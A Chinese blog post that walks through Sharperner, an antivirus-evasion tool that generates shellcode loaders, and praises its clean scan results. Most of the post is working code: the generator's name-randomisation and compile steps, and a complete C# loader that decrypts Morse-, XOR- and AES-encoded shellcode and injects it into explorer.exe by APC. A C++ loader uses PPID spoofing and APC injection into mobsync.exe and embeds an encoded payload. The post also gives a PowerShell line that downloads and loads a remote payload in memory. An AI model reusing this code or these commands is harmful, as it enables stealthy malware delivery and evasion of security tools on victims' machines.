专栏首页鸿鹄实验室免杀工具Sharperner浅析

免杀工具Sharperner浅析

前言

多看看别人的工具,自己也就会写了。(手动狗头)

Sharperner是一款C#编写的自动化免杀工具,用来生成免杀的exe文件或者C++的loader,在antiscan.me上为全绿,效果可见一斑。

其官方地址为:https://github.com/aniqfakhrul/Sharperner

其文件结构如下:

按照其官方介绍来看,其支持XOR和AES加密。

其C#版exe使用的技术如下:

  • AES + XOR 加密的 shellcode
  • 随机函数名
  • APC 进程注入 (explorer.exe)随机函数名
  • 随机生成的 AES 密钥和 iv
  • 最终的 Shellcode、Key 和 IV 被翻译成莫尔斯电码 :)

普通版技术如下:

  • Process Hollowing
  • PPID Spoofing
  • Random generated AES key and iv
  • Final Shellcode, Key and IV are translated to morse code :)

其使用方法如下:

/file       B64,hex,raw shellcode
/type       cs,cpp
/out        Output file Location (Optional)

Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe

另外作者还给出了优先加载方式(国内不适用,你调用PS太麻烦)

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]::Main()

下面我们来简单的分析一下其代码实现。为了方便,我们首先定位到tempFile删除的代码,然后将其注释:

其模板文件是存在于templates也可自行查看,二者选一即可。我们首先来看C#的。

首先是判断是否为C#,如果是则进行方法名随机化、字符串随机化、模板填充的操作:

 if (dropperFormat == "cs")
                {
                    //https://stackoverflow.com/questions/5036590/how-to-retrieve-certificates-from-a-pfx-file-with-c

                    //Console.WriteLine($"XOR encrypted text: {xorAesEncStringB64}");

                    //decrypt it back

                    //byte[] aesEncrypted = xorEncDec(Convert.FromBase64String(xorAesEncStringB64), xorKey);

                    //string sh3Llc0d3 = DecryptStringFromBytes(aesEncrypted, key, iv);

                    //Console.WriteLine($"XOR decrypted text: {sh3Llc0d3}");

                    // Open template file
                    var directory = VisualStudioProvider.TryGetSolutionDirectoryInfo();

                    var parentDir = directory.FullName;

                    var templateFile = Path.Combine(parentDir, @"templates\template.cs");
                    
                    var tempFile = Path.Combine(Directory.GetCurrentDirectory(), "output.cs");

                    string templateFileContent = "";

                    // read all content
                    if (!File.Exists(templateFile)) //if file exists
                    {
                        Console.WriteLine("[!] File does not exists in local, fetching online...");
                        ServicePointManager.Expect100Continue = true;
                        ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
                        WebClient client = new WebClient();
                        try
                        {
                            templateFileContent = client.DownloadString("https://raw.githubusercontent.com/aniqfakhrul/Sharperner/main/templates/template.cs");
                        }
                        catch
                        {
                            Console.WriteLine("[!] No internet connection");
                            Environment.Exit(0);
                        }
                    }
                    else
                    {
                        templateFileContent = File.ReadAllText(templateFile);
                    }

                    try
                    {
                        // randomize method names
                        var pattern = @"(public|private|static|\s) +[\w\<\>\[\]]+\s+(\w+) *\([^\)]*\) *(\{?|[^;])";
                        var methodNamesPattern = @"([a-zA-Z_{1}][a-zA-Z0-9_]+)(?=\()";
                        Regex rg = new Regex(pattern);
                        MatchCollection methods = rg.Matches(templateFileContent);
                        foreach (var method in methods)
                        {
                            if (!method.ToString().Contains("Main"))
                            {
                                var methodName = Regex.Match(method.ToString(), methodNamesPattern);
                                templateFileContent = templateFileContent.Replace(methodName.ToString(), GenerateRandomString());
                            }

                        }

                        //randomize variable names
                        string[] variableNames = { "xoredAesB64", "xorKey", "aE5k3y", "aE5Iv", "aesEncrypted", "sh3Llc0d3", "lpNumberOfBytesWritten", "processInfo",
                                                    "pHandle", "rMemAddress", "tHandle", "ptr", "theKey", "mixed", "input", "theKeystring", "cipherText", "rawKey", "rawIV", "rijAlg", "decryptor", 
                                                    "msDecrypt", "csDecrypt", "srDecrypt", "plaintext", "cipherData", "decryptedData", "ms", "cs", "alg", "MorseForFun","startInfo","procInfo", "binaryPath",
                                                    "random", "aes_key", "aes_iv", "stringBuilder"};

                        foreach (string variableName in variableNames)
                        {
                            templateFileContent = templateFileContent.Replace(variableName, GenerateRandomString());
                        }

                        // replace in template file
                        templateFileContent = templateFileContent.Replace("\"REPLACE SHELLCODE HERE\"", xorAesEncStringB64).Replace("\"REPLACE XORKEY\"", xorKey).Replace("\"REPLACE A3S_KEY\"", morsed_aeskey).Replace("\"REPLACE A3S_IV\"", morsed_aesiv);

                    }

然后调用csc文件,进行文件编译

 string strCmd = $"/c C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /out:{outputFile} {tempFile}";
                    try
                    {
                        Process process = new Process();

                        // Stop the process from opening a new window
                        process.StartInfo.RedirectStandardOutput = true;
                        process.StartInfo.UseShellExecute = false;
                        process.StartInfo.CreateNoWindow = true;

                        // Setup executable and parameters
                        process.StartInfo.FileName = @"CMD.exe";
                        process.StartInfo.Arguments = strCmd;

                        // Go
                        process.Start();

                        Console.WriteLine($"[+] Executable file successfully generated: {outputFile}");
                    }

然后休眠、删除模板文件

                    Thread.Sleep(1000);

                    File.Delete(tempFile);

其shellcode加载并无太多的新颖技术,从API的导入我们可以看到就是一个基本的APC注入

其他的都是一些shellcode的解密、加载了

比较新颖的可能即使摩尔斯的利用:

            public static void InitializeDictionary()
            {
                _morseAlphabetDictionary = new Dictionary<char, string>()
                                   {
{'a',".-"},{'A',"^.-"},{'b',"-..."},{'B',"^-..."},{'c',"-.-."},{'C',"^-.-."},{'d',"-.."},{'D',"^-.."},{'e',"."},{'E',"^."},{'f',"..-."},{'F',"^..-."},{'g',"--."},{'G',"^--."},{'h',"...."},{'H',"^...."},{'i',".."},{'I',"^.."},{'j',".---"},{'J',"^.---"},{'k',"-.-"},{'K',"^-.-"},{'l',".-.."},{'L',"^.-.."},{'m',"--"},{'M',"^--"},{'n',"-."},{'N',"^-."},{'o',"---"},{'O',"^---"},{'p',".--."},{'P',"^.--."},{'q',"--.-"},{'Q',"^--.-"},{'r',".-."},{'R',"^.-."},{'s',"..."},{'S',"^..."},{'t',"-"},{'T',"^-"},{'u',"..-"},{'U',"^..-"},{'v',"...-"},{'V',"^...-"},{'w',".--"},{'W',"^.--"},{'x',"-..-"},{'X',"^-..-"},{'y',"-.--"},{'Y',"^-.--"},{'z',"--.."},{'Z',"^--.."},{'0',"-----"},{'1',".----"},{'2',"..---"},{'3',"...--"},{'4',"....-"},{'5',"....."},{'6',"-...."},{'7',"--..."},{'8',"---.."},{'9',"----."},{'/',"/"},{'=',"...^-"},{'+',"^.^"},{'!',"^..^"},
                                   };
            }

通过对文件内容的输出可以得到最后的模板内容:

using System;
using System.IO;
using System.Security.Cryptography;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace TotallyNotMal
{
    public class Program
    {
        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInherigjalukcf, uint dwProcessId);

        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint wlwtlwokvm);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInherigjalukcf, uint dwThreadId);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern uint ResumeThread(IntPtr hThread);

        [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern bool CloseHandle(IntPtr hObject);

        [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
        public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInherigjalukcfs, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);

        public enum ProcessAccessRights
        {
            All = 0x001F0FFF,
            Terminate = 0x00000001,
            CreateThread = 0x00000002,
            VirtualMemoryOperation = 0x00000008,
            VirtualMemoryRead = 0x00000010,
            VirtualMemoryWrite = 0x00000020,
            DuplicateHandle = 0x00000040,
            CreateProcess = 0x000000080,
            SetQuota = 0x00000100,
            SetInformation = 0x00000200,
            QueryInformation = 0x00000400,
            QueryLimitedInformation = 0x00001000,
            Synchronize = 0x00100000
        }

        public enum ThreadAccess : int
        {
            TERMINATE = (0x0001),
            SUSPEND_RESUME = (0x0002),
            GET_CONTEXT = (0x0008),
            SET_CONTEXT = (0x0010),
            SET_INFORMATION = (0x0020),
            QUERY_INFORMATION = (0x0040),
            SET_THREAD_TOKEN = (0x0080),
            IMPERSONATE = (0x0100),
            DIRECT_IMPERSONATION = (0x0200),
            THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
            THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
        }

        public enum MemAllocation
        {
            MEM_COMMIT = 0x00001000,
            MEM_RESERVE = 0x00002000,
            MEM_RESET = 0x00080000,
            MEM_RESET_UNDO = 0x1000000,
            SecCommit = 0x08000000
        }

        public enum MemProtect
        {
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_TARGETS_INVALID = 0x40000000,
            PAGE_TARGETS_NO_UPDATE = 0x40000000,
        }
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        [StructLayout(LayoutKind.Sequential)]
        //internal struct STARTUPINFO
        public struct STARTUPINFO
        {
            uint cb;
            IntPtr lpReserved;
            IntPtr lpDesktop;
            IntPtr lpTitle;
            uint dwX;
            uint dwY;
            uint dwXSize;
            uint dwYSize;
            uint dwXCountChars;
            uint dwYCountChars;
            uint dwFillAttributes;
            public uint dwFlags;
            public ushort wShowWindow;
            ushort cbReserved;
            IntPtr lpReserved2;
            IntPtr hStdInput;
            IntPtr hStdOutput;
            IntPtr hStdErr;
        }

        public class juwvqfghcab
        {
            private static Dictionary<char, string> _morseAlphabetDictionary;

            public static void vvgkjshs()
            {
                _morseAlphabetDictionary = new Dictionary<char, string>()
                                   {
{'a',".-"},{'A',"^.-"},{'b',"-..."},{'B',"^-..."},{'c',"-.-."},{'C',"^-.-."},{'d',"-.."},{'D',"^-.."},{'e',"."},{'E',"^."},{'f',"..-."},{'F',"^..-."},{'g',"--."},{'G',"^--."},{'h',"...."},{'H',"^...."},{'i',".."},{'I',"^.."},{'j',".---"},{'J',"^.---"},{'k',"-.-"},{'K',"^-.-"},{'l',".-.."},{'L',"^.-.."},{'m',"--"},{'M',"^--"},{'n',"-."},{'N',"^-."},{'o',"---"},{'O',"^---"},{'p',".--."},{'P',"^.--."},{'q',"--.-"},{'Q',"^--.-"},{'r',".-."},{'R',"^.-."},{'s',"..."},{'S',"^..."},{'t',"-"},{'T',"^-"},{'u',"..-"},{'U',"^..-"},{'v',"...-"},{'V',"^...-"},{'w',".--"},{'W',"^.--"},{'x',"-..-"},{'X',"^-..-"},{'y',"-.--"},{'Y',"^-.--"},{'z',"--.."},{'Z',"^--.."},{'0',"-----"},{'1',".----"},{'2',"..---"},{'3',"...--"},{'4',"....-"},{'5',"....."},{'6',"-...."},{'7',"--..."},{'8',"---.."},{'9',"----."},{'/',"/"},{'=',"...^-"},{'+',"^.^"},{'!',"^..^"},
                                   };
            }

            public static string jehdmpyqxinn(string dltnsdbuvig)
            {
                StringBuilder sdratvpuxveb = new StringBuilder();

                string[] codes = dltnsdbuvig.Split(' ');

                foreach (var code in codes)
                {
                    foreach (char keyVar in _morseAlphabetDictionary.Keys)
                    {
                        if (_morseAlphabetDictionary[keyVar] == code)
                        {
                            sdratvpuxveb.Append(keyVar);
                            break;
                        }
                    }
                }

                return sdratvpuxveb.ToString();
            }
        }

        public static PROCESS_INFORMATION yorebdvgh(string toybpdhqpno)
        {
            uint flags = 0x00000004;

            STARTUPINFO doahhsji = new STARTUPINFO();
            PROCESS_INFORMATION lwgsuqrawjlnn = new PROCESS_INFORMATION();
            CreateProcess((IntPtr)0, toybpdhqpno, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref doahhsji, out lwgsuqrawjlnn);

            return lwgsuqrawjlnn;
        }

        private static Random gahtrlsqw = new Random();
        public static string qmmbwehlk(int length)
        {
            const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
            return new string(Enumerable.Repeat(chars, length)
              .Select(s => s[gahtrlsqw.Next(s.Length)]).ToArray());
        }

        private static byte[] tuevqhrc(byte[] dltnsdbuvig, string ihjatewihoxuestring)
        {
            byte[] ihjatewihoxue = Encoding.UTF8.GetBytes(ihjatewihoxuestring);
            byte[] ahhxolrdxgwtg = new byte[dltnsdbuvig.Length];
            for (int i = 0; i < dltnsdbuvig.Length; i++)
            {
                ahhxolrdxgwtg[i] = (byte)(dltnsdbuvig[i] ^ ihjatewihoxue[i % ihjatewihoxue.Length]);
            }
            return ahhxolrdxgwtg;
        }

        //https://raw.githubusercontent.com/smokeme/payloadGenerator/main/xor/template
        public static string gpqmovrrfqev(byte[] lbesdfjd, byte[] ywlevtjb, byte[] sflyqhno)
        {
            // Check arguments.
            if (lbesdfjd == null || lbesdfjd.Length <= 0)
                throw new ArgumentNullException("lbesdfjd");
            if (ywlevtjb == null || ywlevtjb.Length <= 0)
                throw new ArgumentNullException("Key");
            if (sflyqhno == null || sflyqhno.Length <= 0)
                throw new ArgumentNullException("Key");

            // Declare the string used to hold
            // the decrypted text.
            string gdooinulaingqi = null;

            // Create an RijndaelManaged object
            // with the specified key and IV.
            using (RijndaelManaged gxejwedasj = new RijndaelManaged())
            {
                gxejwedasj.Key = ywlevtjb;
                gxejwedasj.IV = sflyqhno;

                // Create a decrytor to perform the stream transform.
                ICryptoTransform avlsfgik = gxejwedasj.CreateDecryptor(gxejwedasj.Key, gxejwedasj.IV);

                // Create the strearlfnvkems used for decryption.
                using (MemoryStream xvxqjqboljvenv = new MemoryStream(lbesdfjd))
                {
                    using (CryptoStream expagaub = new CryptoStream(xvxqjqboljvenv, avlsfgik, CryptoStreamMode.Read))
                    {
                        using (StreamReader bavtrskxcrkkam = new StreamReader(expagaub))
                        {

                            // Read the decrypted bytes from the decrypting stream
                            // and place them in a string.
                            gdooinulaingqi = bavtrskxcrkkam.ReadToEnd();
                        }
                    }
                }

            }

            return gdooinulaingqi;

        }

            //https://www.codeproject.com/Articles/5719/Simple-encrypting-and-decrypting-data-in-C
            public static byte[] cyqqyoclpw(byte[] vcuypjthv, string qdvongfppnpbgr, string rtfnuhseqj)
        {

            MemoryStream rlfnvkems = new MemoryStream();

            Rijndael tppqiubobkvc = Rijndael.Create();

            tppqiubobkvc.Key = Convert.FromBase64String(qdvongfppnpbgr);
            tppqiubobkvc.IV = Convert.FromBase64String(rtfnuhseqj);

            CryptoStream xuipbwpmvsvj = new CryptoStream(rlfnvkems,
                tppqiubobkvc.CreateDecryptor(), CryptoStreamMode.Write);

            xuipbwpmvsvj.Write(vcuypjthv, 0, vcuypjthv.Length);

            xuipbwpmvsvj.Close();

            byte[] ywbvkrelptdl = rlfnvkems.ToArray();

            return ywbvkrelptdl;
        }

        public static void Main()
        {

            string kmekvnsk = "^-.. .-.. ^..- .--- ..... - --. ^.-. ^... ^... ^..- ^.-. ^-.-. ..- ^... / ^.--- --.. -- ^.-.. ^..- ^-... -.-. ^--.. ^.-. ^..- ---.. ^..- ^.--. ^.--. ...- ^-- ^...- -... ^. .. ^... .... ^-- ---.. ^--.. ^...- .- --- ^... ^-.. ^...- ^--. ^... ^-..- ... .-.. ^... ...- ^.^ ^.-- ..- ^...- ^-- -..- -.... .-- ^..-. ^.^ ^--.. .-. ^... ..... ^-.. --.- ^-..- ----- ^-- ^-..- ^.- ^.-- ^-- .--- .... ^... ... -.... .--- / .--- ----- ..... ^-. ^.-. . ^--.- ^-.-. ^-- ^.... ^-.. .. -.. -- .. .--. ^-.-- -.... ... ^.-. ^.--- .--. .... -- ...- .-.. .... ^.--. -.- ..- ..--- ....- ..... ^.-. ...-- ^... --. ..-. -.... ..- ^.... ^. .---- - .--. ^.... ^-..- ...- -- .-- ^.--- -.-- . ----- .-. ^--. ^.--. ^-.-. .... -.-. ....- .--- ^-. ^-.-- ^-.-. -... -.... ... ..--- --- ^.-- .-.. ^-... -... ----- ^--.. ...-- ^.- ..... ^.^ --.. ^... ^--.. ^.--. -... -... --.. ..... ^.. ^--- -.. .-. ^--. ^... ^.-.. --- ..-. ^-.-- ^.--. .- -..- --. .-- -.. ^- --.- ^.- ^.-- ^.-- ^. ----. ^--.- --. ^. ^--. ....- - - ----- - --. ^-... ^--.. ----. ^.-. ^- ----. ^- ^.-.. ^-. --... ^..-. ^. -.. .-. .. .... -.- ^... ^.-.. ..... ^--. ....- ..--- -.-- ^--. ^-. .-.. -.... ^. -.-- ....- --.. -.-- ^. ^. ^--.- ^.-.. ^..- -.-- ^.... ^.. ...-- .-.. - ^-.-. ----- .. ^.--. ....- --.. ^... ^..-. ^.--- .. - .- / ^.--. ^- ^-... ^--.. -.-- - -... .--. --... ^--- ...-- .... .---- --. ^. ^-... .. ..-. ^..-. ^-... ..--- -.. -- ^.-. -- .... ^--- ^.-- ..... ^-.-. ^.-- . ^--. ^.-.. ..--- ...-- ^.. -.-- ^...- / -.-. .... ^.^ ^-..- - -..- .- .-- --... .- ^..-. -.-- ^.. ^--.- -... -.-- ^... ^-.. .... ..- .-- ^.^ ...-- ^... -..- ----- ^-.- ^.-.. ---.. ^.- ^--.. -..- --. --. ^--.. ...-- --- ^.--. .-.. -.-- ----. ^.- ^..-. -.. -... ^. .--. ....- ^--.- ^--.. --- ^--.- ^.--. ^.-. .-- ^--. ^-.. ^... ..-. / .-.. -.... ----. ^--- ...-- ^..- ^-... ^.^ - ^--.. -... ---.. ^--.- ^-.-- ^-.-- ^--.- ^-..- ..-. ^--. ..... ----. ^--.- ";
            string oapyyweflctgg = "^.--- -. ^.^ ^..-. ^-.. ^-. ^- ^..^ -.. ....- -.. ..... - ..- ^.--- ^--.- -.- -.- ";
            string sefyhdafpr = "-.- ..- ^--. -- ^-.-- .... ...- ^.^ --... ----. ^.... ^-- ----- ^.... ^..-. ^- -.-. .-.. ^.- .... ^--.- ^--. ..- ^...- ..- .-.. -.-. -..- ^. ^-- ----- ^--. ^--.. ^-. .... .--- .. -.-. ^-... ^..-. -... ^--.. ....- ...^- ";
            string ccrhvqwsctc = ".---- / ^--. ^.... ^-... -.-. ^--. -.. ^..-. ^-. ^.-.. -. ^--.. - ^-.-- ..... -.- .--- ----. ^.-- ... --. ...^- ...^- ";

            byte[] lfpnlhsj = new byte[] { };

            juwvqfghcab.vvgkjshs();

            kmekvnsk = juwvqfghcab.jehdmpyqxinn(kmekvnsk);
            sefyhdafpr = juwvqfghcab.jehdmpyqxinn(sefyhdafpr);
            ccrhvqwsctc = juwvqfghcab.jehdmpyqxinn(ccrhvqwsctc);
            oapyyweflctgg = juwvqfghcab.jehdmpyqxinn(oapyyweflctgg);

            byte[] qqcjvandvd = tuevqhrc(Convert.FromBase64String(kmekvnsk), oapyyweflctgg);

            //Console.WriteLine("After XOR DEc: " + Encoding.UTF8.GetString(qqcjvandvd));

            lfpnlhsj = cyqqyoclpw(qqcjvandvd, sefyhdafpr, ccrhvqwsctc);

            //Console.WriteLine("After AES DEc: " + Encoding.UTF8.GetString(lfpnlhsj));

            //lfpnlhsj = Convert.FromBase64String(gpqmovrrfqev(qqcjvandvd, key, iv));

            //var decrypted = gpqmovrrfqev(tuevqhrc(Convert.FromBase64String(xorAesEncStringB64), oapyyweflctgg),key,iv);

            // Console.WriteLine($"XOR decrypted text: {shellcode}");

            //shellcode = Convert.FromBase64String(b64);

            uint wlwtlwokvm = 0;

            PROCESS_INFORMATION ppunifsd = yorebdvgh("C:/Windows/explorer.exe");

            IntPtr corxbgcfd = OpenProcess((uint)ProcessAccessRights.All, false, (uint)ppunifsd.dwProcessId);

            IntPtr ljkrlfshxyk = VirtualAllocEx(corxbgcfd, IntPtr.Zero, (uint)lfpnlhsj.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);

            if (WriteProcessMemory(corxbgcfd, ljkrlfshxyk, lfpnlhsj, (uint)lfpnlhsj.Length, ref wlwtlwokvm))
            {

                IntPtr gjalukcf = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)ppunifsd.dwThreadId);

                IntPtr nodgisyse = QueueUserAPC(ljkrlfshxyk, gjalukcf, IntPtr.Zero);

                ResumeThread(gjalukcf);

            }
            bool hOpenProcessClose = CloseHandle(corxbgcfd);
        }
    }


}

CPP的则如下:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include "aes.hpp"
#include "base64.h"
#include "low.h"
#include <string>
#include <map>
#include <sstream>

using namespace std;

map< char, string > mxmqrswkg =
{
{'a',".-"},{'A',"^.-"},{'b',"-..."},{'B',"^-..."},{'c',"-.-."},{'C',"^-.-."},{'d',"-.."},{'D',"^-.."},{'e',"."},{'E',"^."},{'f',"..-."},{'F',"^..-."},{'g',"--."},{'G',"^--."},{'h',"...."},{'H',"^...."},{'i',".."},{'I',"^.."},{'j',".---"},{'J',"^.---"},{'k',"-.-"},{'K',"^-.-"},{'l',".-.."},{'L',"^.-.."},{'m',"--"},{'M',"^--"},{'n',"-."},{'N',"^-."},{'o',"---"},{'O',"^---"},{'p',".--."},{'P',"^.--."},{'q',"--.-"},{'Q',"^--.-"},{'r',".-."},{'R',"^.-."},{'s',"..."},{'S',"^..."},{'t',"-"},{'T',"^-"},{'u',"..-"},{'U',"^..-"},{'v',"...-"},{'V',"^...-"},{'w',".--"},{'W',"^.--"},{'x',"-..-"},{'X',"^-..-"},{'y',"-.--"},{'Y',"^-.--"},{'z',"--.."},{'Z',"^--.."},{'0',"-----"},{'1',".----"},{'2',"..---"},{'3',"...--"},{'4',"....-"},{'5',"....."},{'6',"-...."},{'7',"--..."},{'8',"---.."},{'9',"----."},{'/',"/"},{'=',"...^-"},{'+',"^.^"},{'!',"^..^"},
};

void wwygarpdv(std::string const& str, const char boveqcxond,
    std::vector<std::string>& out)
{
    // construct a stream from the string
    std::stringstream ss(str);

    std::string s;
    while (std::getline(ss, s, boveqcxond)) {
        out.push_back(s);
    }
}

string idwdcbsjt(string gnjtbnfmobyh)
{
    string rwwawoxrp;

    //morse to ascii
    std::vector<std::string> xdvjfwghh;
    wwygarpdv(gnjtbnfmobyh, ' ', xdvjfwghh);
    for (int s = 0; s < xdvjfwghh.size(); s++) {
        for (auto it = mxmqrswkg.rbegin(); it != mxmqrswkg.rend(); it++) {
            if (xdvjfwghh[s] == it->second)
            {
                rwwawoxrp.push_back(it->first);
            }
        }
    }
    return rwwawoxrp;
}

// This is just directly stolen from ired.team
DWORD jdmalejrndjw() {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

//reffered to alaris
void ddrvwpki(std::vector<byte> nxllkgwilgr)
{
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    LPVOID mem;
    HANDLE hProcess, hThread;
    DWORD cvhmsvnfo;
    DWORD kqcbjtqx;

    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    SIZE_T size = 0;

    // Initialize custom startup objects for CreateProcess()
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;
    InitializeProcThreadAttributeList(NULL, 2, 0, &size);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);

    // Disallow non-microsoft signed DLL's from hooking/injecting into our CreateProcess():
    InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &size);
    DWORD64 dpjcmtmeoysv = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &dpjcmtmeoysv, sizeof(dpjcmtmeoysv), NULL, NULL);

    // Mask the PPID to that of explorer.exe
    HANDLE youhblbseh = OpenProcess(PROCESS_ALL_ACCESS, false, jdmalejrndjw());
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &youhblbseh, sizeof(HANDLE), NULL, NULL);

    LPCWSTR fopvuyhunmwy = L"C:\\Windows\\System32\\mobsync.exe";

    if (!CreateProcess(
        fopvuyhunmwy,                   // LPCWSTR Command (Binary to Execute)
        NULL,                           // Command line
        NULL,                           // Process handle not inheritable
        NULL,                           // Thread handle not inheritable
        FALSE,                          // Set handle inheritance to FALSE
        EXTENDED_STARTUPINFO_PRESENT
        | CREATE_NO_WINDOW
        | CREATE_SUSPENDED,     // Creation Flags
        NULL,                           // Use parent's environment block
        NULL,                           // Use parent's starting directory
        (LPSTARTUPINFOW)&si,// Pointer to STARTUPINFO structure
        &pi                                     // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    )) {
        DWORD errval = GetLastError();
        std::cout << "whoops " << errval << std::endl;
    }

    WaitForSingleObject(pi.hProcess, 1400);
    hProcess = pi.hProcess;
    hThread = pi.hThread;

    mem = nullptr;
    SIZE_T hqvxeqjpqxhucp = nxllkgwilgr.size();
    NtAllocateVirtualMemory(hProcess, &mem, 0, (PSIZE_T)&hqvxeqjpqxhucp, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NtWriteVirtualMemory(hProcess, mem, nxllkgwilgr.data(), nxllkgwilgr.size(), 0);
    NtQueueApcThread(hThread, (PKNORMAL_ROUTINE)mem, mem, NULL, NULL);
    NtResumeThread(hThread, NULL);

    // Overwrite shellcode with null bytes
    Sleep(9999);
    uint8_t ffdnyitmqkf[500];
    NtWriteVirtualMemory(hProcess, mem, ffdnyitmqkf, sizeof(ffdnyitmqkf), 0);
}
int main()
{
    //implement privilege escalation here
    //https://github.com/KooroshRZ/Windows-DLL-Injector/blob/61f30f3a9750600d09a19761515892e4582ec434/Injector/src

    // Disallow non-MSFT signed DLL's from injecting
    PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
    sp.MicrosoftSignedOnly = 1;
    SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));

    std::vector<uint8_t> isbgdapqeicaw, nxllkgwilgr;
    std::string gnjtbnfmobyh, ttkmjqver, gdfmssmkalh, ybhpdxsg, khlrlybj, gnjtbnfmobyhybhpdxsg, gnjtbnfmobyhkhlrlybj, gnjtbnfmobyhowwrtclyellkn, owwrtclyellkn;
    base64 b64 = base64();

    //xor
    gnjtbnfmobyh = "^- ^-... ^--.. .. ---.. ^-.. --. .---- .... ^-..- ^-- ----. ^--.- ^. ----. ^.- ^-- ^-.-- ^.-- -.-- ^--.- --... ^--.. -.-- ^-.- ..--- --- ^-.. ...-- .--- ^...- ^-.- -. ----. .--. .- ^-.-. ^-... ^-.- ^-..- ^--- - ^...- ^. ^--. -.-- ^-.- ^.. ---.. .... ..-. --- .... -... ^- ^.. -. -..- ^.. ..-. ^--. ----. ^..- --- ----. ^-..- ----- .-- --... ---.. ^-.- ----. ----- .- ..-. ..-. ..--- ^-.. ^-..- ... ^.-. ^.- ..... .- ^-.-. ^-.- / ^-- -.-- ^.^ ^.-.. -.. ^.--- ^--.. ^- ^.--. ^.--- -.. ^-.-. . ^--- ----- ...- ^... / ^--.. .- ^. ....- ^.- ^--.- ^... ... ^-.-- . ^-..- ^-... ----- . ^.... ... --. ^-.- ^-.- ^.^ ^-.- ^-.- ^.^ --... ^--. ^-.- ^.-- ^-. - .--. -. ^-... ----. -. ---.. ^. -.. -.... -- .-.. -.. ^. ----. - .--- ^... -..- ^-- -..- ^..-. / ^.-.. ..... ^- ^-... .. .--. ^.... ^-. ^.- .-. ^.-- ^. ^-.- ..- ^..-. -..- ....- ... ^.- ^..- ... -.-. ^.-- .--. .-- ....- ^.. .- ^--- ^--.- .. ^..- ----- --. .---- ^-..- .--. --.. 